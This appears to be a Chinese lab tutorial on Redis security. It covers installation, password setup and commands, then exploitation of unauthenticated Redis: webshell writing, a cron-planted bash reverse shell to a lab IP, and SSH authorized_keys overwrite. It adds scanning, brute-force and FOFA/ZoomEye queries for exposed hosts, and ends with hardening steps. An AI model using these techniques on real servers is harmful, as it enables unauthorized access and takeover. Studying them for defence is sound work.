Redis安全
一、Redis介绍
Redis(Remote Dictionary Server)译为“远程字典服务”,它是一款基于内存实现的键值型 NoSQL 数据库, 通常也被称为数据结构服务器,这是因为它可以存储多种数据类型,比如 string(字符串),hash(哈希散列),list(列表),set(集合)和 sorted set(有序集合)等。 可以对内存中的数据直接存取,也可以写到硬盘中去。默认端口为6379
Nosql数据库的特点是:
容易扩展:NoSQL数据库种类繁多,但是一个共同的特点都是去掉关系数据库的关系型特性。数据之间无关系,这样就非常容易扩展。无形之间,在架构的层面上带来了可扩展的能力。
大数据量、高性能:NoSQL数据库都具有非常高的读写性能,尤其在大数据量下,同样表现优秀。这得益于它的无关系性,数据库的结构简单。 一般MySQL使用Query Cache。NoSQL的Cache是记录级的,是一种细粒度的Cache,所以NoSQL在这个层面上来说性能就要高很多。
灵活的数据模型:NoSQL无须事先为要存储的数据建立字段,随时可以存储自定义的数据格式。而在关系数据库里,增删字段是一件非常麻烦的事情。如果是非常大数据量的表,增加字段简直就是——个噩梦。这点在大数据量的Web 2.0时代尤其明显。
高可用:NoSQL在不太影响性能的情况,就可以方便地实现高可用的架构。比如Cassandra、HBase模型,通过复制模型也能实现高可用。
nosql数据库种类繁多,但是它们都有一个共同的特点,就是它们都去掉了关系数据库的关系型特性,使用键值型
二、Ubuntu部署Redis
1、下载和安装
我这里使用的是Ubuntu进行下载
wget http://download.redis.io/releases/redis-4.0.9.tar.gz |
解压
tar zxvf redis-4.0.9.tar.gz |
移动解压后的文件夹到/usr/local/redis目录下
sudo mv ./redis-4.0.9 /usr/local/redis |
进入到/usr/local/redis目录下,make test编译一下
make test |
报错了,执行以下命令即可
make distclean && make |
错误的本质是我们在开始执行make 时遇到了错误(大部分是由于gcc未安装),然后我们安装好了gcc 后,我们再执行make ,这时就出现了jemalloc/jemalloc.h: No such file or directory。这是因为上次的编译失败,有残留的文件,我们需要清理下,然后重新编译就可以了。
提示以下信息说明没问题了
再次执行
make test |
大概8分钟左右的编译后,出现绿色字体的信息,说明没问题
进入/usr/local/redis/src目录下,看到有以下命令,说明的确没问题了,编译安装成功
# 方便找到 |
2、修改配置文件
修改并保存配置文件
3、运行Redis服务端
以/etc/redis/redis.conf的配置文件启动Redis服务端
./redis-server /etc/redis/redis.conf |
查看是否开启Redis
ps aux | grep redis |
4、客户端连接服务端
./redis-cli -h 192.168.1.117 |
可以看到,当保存了数据后,src目录下会有dump.rdb,看一下可以大概知道,这应该存储了当时我们创建的键值对(当然,如果通过cp命令将redis-server加入到/usr/bin目录下,那么在当前目录下运行的redis,那么就会在当前目录下生成dump.rdb,不一定在src目录下)
这里可以知道,默认情况下,连接Redis是无需密码的,因此日常可以会因为管理员疏忽而存在Redis未授权登录的问题(用Telnet也可以连接 telnet IP port)
因为官方说明save默认保存的是rdb文件,redis-bits?@?ctime就是rdb标识符,实战可以把它看成脏数据
三、Kali安装Redis-cli
1、下载安装
wget http://download.redis.io/redis-stable.tar.gz |
解压
tar -zxvf redis-stable.tar.gz |
可以看到有个makefile,直接make,全局生效
2、加入环境变量
sudo cp redis-cli /usr/bin |
3、连接Ubuntu的Redis服务
redis-cli -h 192.168.1.117 |
四、设置密码登录
之前说过,默认情况下Redis是免密登陆的,那么就存在未授权登录的风险。那么如何设置密码登录呢?
打开配置文件,配置密码为haha123
,如图所示
requirepass haha123 |
关闭Redis服务
shutdown |
启动Redis服务
redis-server /etc/redis/redis.conf |
客户端连接
auth [username] password |
五、常见命令
命令 | 描述 |
---|---|
info | 查看信息 |
flushall | 删除所有数据库内容 |
flushdb | 刷新数据库 |
KEYS * | 查看所有键,使用 select num 可以查看键值数据 |
set test “who am i” | 设置变量 |
config set dir dirpath | 设置路径等配置 |
save | 保存 |
get 变量 | 查看变量名称 |
六、相关漏洞
因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:
1、Redis 远程代码执行漏洞(CVE-2016-8339)
Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。
2、CVE-2015-8080
Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。
3、CVE-2015-4335
Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码
4、CVE-2013-7458
读取“.rediscli_history”配置文件信息
七、Redis写文件
1、写入Webshell
只要知道 web 绝对路径并且权限足够就可以写个 webshell
192.168.1.117:6379> CONFIG SET dir /usr/share/apache/htdocs/ #这里是站点绝对路径(我这里Ubuntu没有安装中间件,只作为演示参考) |
MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk。 如果报错无法向磁盘写入rdb,尝试将stop-writes-on-bgsave-error设置为no,如config set stop-writes-on-bgsave-error no
2、计划任务启动反弹shell
在 linux 系的系统有着定时任务的功能,只要文件可以写到定时任务目录里就可以执行系统命令。
(1)命令初测试
Kali开启nc监听
Ubuntu执行命令
bash -i >& /dev/tcp/192.168.236.129/9999 0>&1 |
此时成功反弹shell到nc
命令是没有问题的
(2)/var/spool/cron/用户名 测试
192.168.1.117:6379> ping |
之所以会保存错误是因为当前用户对该文件夹没有写权限,为了实验效果修改再次保存即可
这里也引起反思,实战中碰到这样的问题该怎么办?
检验无错误
cron计划任务服务也已经开启
systemctl status cron |
但此时nc却迟迟未收到反弹shell
注意:有些系统对 crontab 的文件内容的校验比较严格可能会导致无法执行定时任务。
按照一个前辈的说法就是Ubuntu的计划任务,前面有乱码它将无法执行。而如果换成CentOs就可以,因为CentOs可以跳过乱码,执行正确的能执行的计划任务代码。这里因为我未部署CentOs虚拟机,就当作我反弹成功了,后续有机会再补上CentOs
一个师傅总结的一些定时计划目录
/var/spool/cron/用户名 |
看了上面才知道,原来当初设置数据库名字为root是对root用户,而这里我的用户名是xdd,因此重新设置一下
nc依然没有收到shell,嗯!这样实验才有说服力,的确是Ubuntu的问题
(3)开发不常用计划任务
根据一个师傅的说法,如果尝试以上面这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,因此极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏
正确的做法是:选择一个开发不常用的计划任务
以centos7为例子
对应的含义如下:每天/每日/每小时/每月/每周
可以写文件到/etc/cron.hourly/
可以覆盖0anacron文件 or 创建一个可执行的sh文件
覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:
创建可执行sh文件,如下所示:
这样就不会覆盖文件,比较保险
3、写SSH key
利用前提
- Redis 服务器运行在 root 用户下(否则还要猜测用户)
- 此服务器对外开启了 ssh 服务
- Redis 未授权访问漏洞
Linux 系统使用 ssh 的用户目录下都会有一个隐藏文件夹/.ssh/
。比如我这里用户是
只要把我们的公钥写在对方的 .ssh/authorized_keys
文件里再去用 ssh 连接就不需服务器的账号密码了
开始实验!
由于我Ubuntu的xdd用户目录下没有.ssh文件,那就自己创建一下
ssh-keygen -t rsa |
Kali的id_rsa.pub,这是Kali的公钥
将公钥信息写入到key.txt中
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt |
将xxx键的值设置为key.txt的内容
cat key.txt | redis-cli -h 192.168.1.117 -a haha123 -x set xxx |
将攻击者的公钥文件覆盖写入到用户的authorized_keys中
config set dir /home/xdd/.ssh |
如果本来就有authorized_keys文件,那么将会被新的覆盖
此时用户那边有我们攻击者的公钥文件,攻击者就可以使用私钥免密ssh登录到用户的主机上
ssh -i /home/kali/.ssh/id_rsa xdd@192.168.1.117 |
八、Redis攻击思路
(1)内网端口扫描
nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24 |
(2)通过文件包含读取配置文件
(3)Redis配置文件中一般会设置明文密码,在进行渗透哦时可以通过webshell查看其配置文件,Redis往往不止一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透
(4)使用Redis暴力破解工具
https://github.com/evilpacket/redis-sha-crack,其命令为:
node ./redis-sha-crack.js -w wordlist.txt -s shalist.txt 127.0.0.1 host2.example.com:5555 |
需要安装node:
git clone https://github.com/nodejs/node.git |
(5)msf下利用模块
auxiliary/scanner/redis/file_upload normal Redis File Upload |
九、Redis漏洞挖掘
- 对“
port: 6379
”进行搜索:https://www.zoomeye.org/searchResult?q=port:6379 - 除去显示“
-NOAUTH Authentication required.
”的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。 - https://fofa.so/ 关键字检索:
port="6379" && protocol==redis && country=CN
十、Redis基本安全策略
- 端口修改为其他端口(默认为6379)
- requirepass设置复杂的密码
- 最好不要用Root用户去启动Redis,而是单独为Redis设置一个账号
- 设置本地localhost不允许外部访问,这样就不能让攻击者去爆破Redis的连接密码
- 开启保护模式protected-mode(默认开启)
- 检测Key,通过本地登录,通过“
keys *
”命令查看,如果有入侵则其中会有很多的值 - linux下需要检查
authorized_keys
:Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh,/root/.ssh/authorized_keys 被覆盖或者包含Redis相关的内容,查看其值就可以直到是否被入侵过 - 检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)
- 对网站进行webshell扫描和分析:发现利用Redis账号漏洞的,则在shell中会存在Redis字样。
- 修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)
【可参考加固修改命令】
命令 | 描述 |
---|---|
port | 修改redis使用的默认端口 |
bind | 设定redis监听的专用IP |
requirepass | 设定redis连接的密码 |
rename-command CONFIG “” | 禁用CONFIG命令 |
rename-command info info2 | 重命名info为info2 |